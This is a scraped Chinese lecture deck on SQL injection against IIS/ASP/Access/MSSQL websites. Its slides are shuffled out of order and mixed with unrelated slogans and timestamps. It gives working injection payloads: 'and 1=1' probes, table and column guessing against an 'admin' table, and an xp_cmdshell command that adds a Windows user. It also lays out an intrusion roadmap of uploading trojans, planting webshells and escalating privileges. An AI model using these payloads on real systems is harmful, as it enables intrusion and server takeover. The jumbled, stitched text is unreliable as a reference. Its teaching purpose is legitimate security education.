网络安全第六讲数据库安全实例-sql注入

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
如 asp 与 access 是如何连接的? 如 asp 与 ms-sql 是如何连接的?
数据库连接文件
Asp+access
Asp+mssql
二 SQL注射的基本原理
SQL注射的历史 SQL注射的概念 SQL注射的原理 SQL注射的优点
SQL注射的历史
早在1999年SQL注射攻击已经在国外出现 了,那时国内技术不成熟,直到2002年我国 才逐步兴起SQL注射,2004年SQL注射技术 达到顶峰,2005年和2006年WEB攻击技术 却未出现大的进步。尽管SQL防御方法早已 出现,但是注射攻击的灵活性和复杂性使得 注射攻击仍然为当前WEB攻击方式的先锋军 。
判断XP_CMDSHELL是否存在,返回正常则存在.
HTTP://xxx.xxx.xxx/abc.asp?id=YY exec master..xp_cmdshell’net user 123 123/add’;--
• 增加一个用户123,密码也为123,此处可使用任何NET命 令。
注:此处注射必须要在Mssql下有SA权限,所以一旦成功可以直取服务 器最高权限,不过成功率很低.
手工注射-注射点类型
http://xxx.xxx.xxx/abc.asp?id=YY在页 面执行中的含义:
当YY为整型参数时
当输入的参数YY为整型时,通常abc.asp中SQL语句 原貌大致如下: select * from 表名 where id=YY
当YY为字符串型参数时
当输入的参数YY为字符串时,通常abc.asp中SQL语 句原貌大致如下: select * from 表名 where id='YY'
猜解表名和字段名
针对Access数据库
….abc.asp?id=YY and 0<>(select count(*) from admin) ---判断是 否存在admin这张表
….abc.asp?id=YY and 0<>(select count(username) from admin) --判断是否存在username这个字段
什么是SQL注射及其原理
我们可以通俗的理解为攻击者利用程序员对 用户输入数据的合法性检测不严或不检测的 特点,故意从客户端提交特殊的数据库查询 代码,使数据库泄露敏感信息,如:网站后 台管理员密码,甚至直接利用数据库高权限 间接攻击服务器,从而达到入侵目的。 这就是所谓的SQL Injection,即SQL注入。
….abc.asp?id=YY and 0<>(select count(password) from admin) --判断是否存在password这个字段
注意:如果上面两条注入语句返回正常就说明存在表名和字段名,否则根 据常用表名和字段名多次更改和判断,这里只能凭借猜解运气.
常用表名和字段名在明小子—SQL注入—设置检测区中可以找到
友情提示:
为了全面了解动态网页回答的信息,首选请调整IE的 配置。
把IE菜单-工具-Internet选项-高级-显示友好HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么 错误,IE都只显示为HTTP 500服务器错误,不能获得 更多的提示信息。
Web攻击思路
仅供参考,根据实际情况不同,应有所改变
实验:
IIS+ASP+ACCESS 某站点SQL注射 DEMO
本讲总结
网站的组成
IIS + asp + acess IIS + asp + ms-sql
SQL注射的基本原理
攻击者从客户端提交特殊的数据库查询代码,使数据库泄露敏感信息.
工具及手工注射的方法
判断注射点—判断数据库类型—猜解表名和列名—得出字段值—找后台 手工注射工具:明小子的使用方法
附: 什么是特洛伊木马?
“特洛伊木马”(trojan horse)简称“木马”,据说这个
名称来源于希腊神话《木马屠城记》。古希腊有大军围攻特洛伊城,
久久无法攻下。于是有人献计制造一只高二丈的大木马,假装作战
马神,让士兵藏匿于巨大的木马中,大部队假装撤退而将木马摈弃
于特洛伊城下。城中得知解围的消息后,遂将“木马”作为奇异的
动态网页的组合
On Windows: IIS + asp + acess IIS + asp + ms-sql
On Unix/Linux: Apache + php + mysql Apache + jsp + oracle
70% 30%
思 考:
网站前台脚本语言与后台数据库之间是如何 连接的?
http://xxx.xxx.xxx/abc.asp?id=YY and 1=2 abc.asp运行异常;
如果以上三步满足,abc.asp中一定存在SQL注入漏 洞。那么http://xxx.xxx.xxx/abc.asp?id=YY就 是一个注射点
判断数据库类型
wk.baidu.com 判断数据库类型cont.
判断数据库类型cont.
数据库安全实例: SQL注射
本讲目标
了解网站的组成结构 理解SQL注射的基本原理 掌握工具及手工注射的方法 如何防范SQL注射攻击
一 网站是如何构成的
一般说来,网站基本构成方式为以下三部分: 1、前台页面 (供用户浏览) 2、后台管理控制台 (供管理员管理此站点) 3、后台数据库 (记录用户密码及其他数据)
1. 踩点
(尽可能分析一切信息)
2. 找上传漏洞 (有,上传木马)
3. 暴库
(下载成功-6)
4. SQL注射
(先工具后手工)
5. 获取Web管理员密码 (否-另寻他法)
6. 登陆后台 (否-万能密码;再否-另寻..)
7. 上传木马 (有过滤-找备份或另寻..)
8. 提权
(略)
SQL注射思路
仅供参考,根据实际情况不同,应有所改变
1. 判断url是否可以注射 2. 判断数据库类型 3. 确定XP_CMDSHELL可执行情况 4. 猜测或直接得出表名和字段名 5. 构造语句得出字段的值
如果第3步中XP_CMDSHELL可执行,那 么就可以直接获得服务器最高权限。
利用工具注射
针对Access数据库和Mssql数据库类型操 作差不多。
什么是“木马”? “木马”全称是“特洛伊木马(Trojan Horse)”, 原指古希腊士兵藏在木马内进入敌方城市从而占领 敌方城市的故事。
在Internet上,“特洛伊木马”指一些程序设计人 员在其可从网络上下载(Download)的应用程序或游 戏中,包含了可以控制用户的计算机系统的程序, 可能造成用户的系统被破坏甚至瘫痪。
工具有很多:明小子 啊D NBSI……. 目的:获得后台管理员密码。 Demo
SQL注入的位置
SQL注入一般存在于形如: HTTP://xxx.xxx.xxx/abc.asp?id=YY等带有 参数的ASP动态网页中。
“id=YY”即为页面查询条件。
注:有时一个动态网页中可能只有一个参数,有时可能有N个 参数,有时是整型参数,有时是字符串型参数,不能一概而 论。总之只要是带有参数的动态网页且此网页访问了数据库, 那么就有可能存在SQL注入。如果ASP程序员没有安全意识, 不进行必要的字符过滤,存在SQL注入的可能性就非常大。
安 全 象 只 弓 ,不拉 它就松 ,要想 保安全 ,常把 弓弦绷 。20.12.1015:04:3715:04Dec-2010-Dec-20
得 道 多 助 失 道寡助 ,掌控 人心方 位上。 15:04:3715:04:3715:04Thursday, December 10, 2020
安 全 在 于 心 细,事 故出在 麻痹。 20.12.1020.12.1015:04:3715:04:37December 10, 2020
实验
IIS+ASP+ACCESS(某站点)
WEB SERVER
CLIENT
IIS+ASP+ACCESS
每 一 次 的 加 油,每 一次的 努力都 是为了 下一次 更好的 自己。 20.12.1020.12.10Thursday, December 10, 2020
天 生 我 材 必 有用, 千金散 尽还复 来。15:04:3715:04:3715:0412/10/2020 3:04:37 PM
注:若数据库是MS-SQL,则第一条一定运行正常, 第二条则异常; 若是ACCESS则两条都会异常。
确定XP_CMDSHELL执行情况
HTTP://xxx.xxx.xxx/abc.asp?id=YY and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
战利品拖入城内,全城饮酒狂欢。到午夜时分,全城军民尽入梦乡,
匿于木马中的将士开秘门游绳而下,开启城门及四处纵火,城外伏
兵涌入,部队里应外合,焚屠特洛伊城。后世称这只大木马为“特
洛伊木马”。如今黑客程序借用其名,有“一经潜入,后患无穷”
之意。
什么是后门?
大家都知道,一台计算机上有65535个端口,那么如果把计算机 看作是一间屋子,那么这65535个端口就可以它看做是计算机为 了与外界连接所开的65535扇门。每个门的背后都是一个服务。 有的门是主人特地打开迎接客人的(提供服务),有的门是主人 为了出去访问客人而开设的(访问远程服务)——理论上,剩下 的其他门都该是关闭着的,但偏偏由于各种原因,很多门都是开 启的。于是就有好事者进入,主人的隐私被刺探,生活被打扰, 甚至屋里的东西也被搞得一片狼迹。这扇悄然被开启的门——就 是“后门”。
网站结构随页面类型和数据库类型不同而呈现 多种组合.
准备工作
了解网页的类型
网页的类型
静态网页 *.html *.htm
HyperText Markup Language 超文件标记语言
动态网页 *.asp *.aspx *.php *.cgi *.jsp
思考:
动态网站后台支持的数据库有哪些?
时 间 是 人 类 发展的 空间。 2020年 12月 10日 星期四 3时4分 37秒 15:04:3710 December 2020
注意:不做特殊说明时所有参数均为整型参数,所有字符均在英文输入 法状态下输入,并且站点结构为IIS+asp
判断当前url是否为注射点
参数为字符串型参数时如何判断(YY为字符串型参数 )
http://xxx.xxx.xxx/abc.asp?id=YY’ (单引号) abc.asp运行异常;
http://xxx.xxx.xxx/abc.asp?id=YY and 1=1 abc.asp运行正常,而且与 HTTP://xxx.xxx.xxx/abc.asp?id=YY’运行结果相同
加 强 自 身 建 设,增 强个人 的休养 。2020年 12月 10日 下午 3时4分 20.12.1020.12.10
扩 展 市 场 , 开发未 来,实 现现在 。2020年 12月 10日 星期 四下午 3时4分 37秒 15:04:3720.12.10
做 专 业 的 企 业,做 专业的 事情, 让自己 专业起 来。2020年 12月 下 午3时 4分20.12.1015:04December 10, 2020
SQL注射的优点
三 实施SQL注射攻击
准备工作 理清攻击思路 利用SQL注射工具攻击 手工注射攻击 上传木马 提权
准备工作-概 念
什么是webshell?
webshell是web入侵的脚本攻击工具。简 单的说来,webshell就是一个asp或php木 马后门,黑客在入侵了一个网站后,常常在 将这些asp或php木马后门文件放置在网站服 务器的web目录中,与正常的网页文件混在 一起。然后黑客就可以用web的方式,通过 asp或php木马后门控制网站服务器,包括上 传下载文件、查看数据库、执行任意程序命 令等。
Webshell 的优点
webshell 最大的优点就是可以穿越防火 墙,由于与被控制的服务器或远程主机交换 的数据都是通过80端口传递的,因此不会被 防火墙拦截。并且使用webshell一般不会在 系统日志中留下记录,只会在网站的web日 志中留下一些数据提交记录,没有经验的管 理员是很难看出入侵痕迹的。
相关文档
最新文档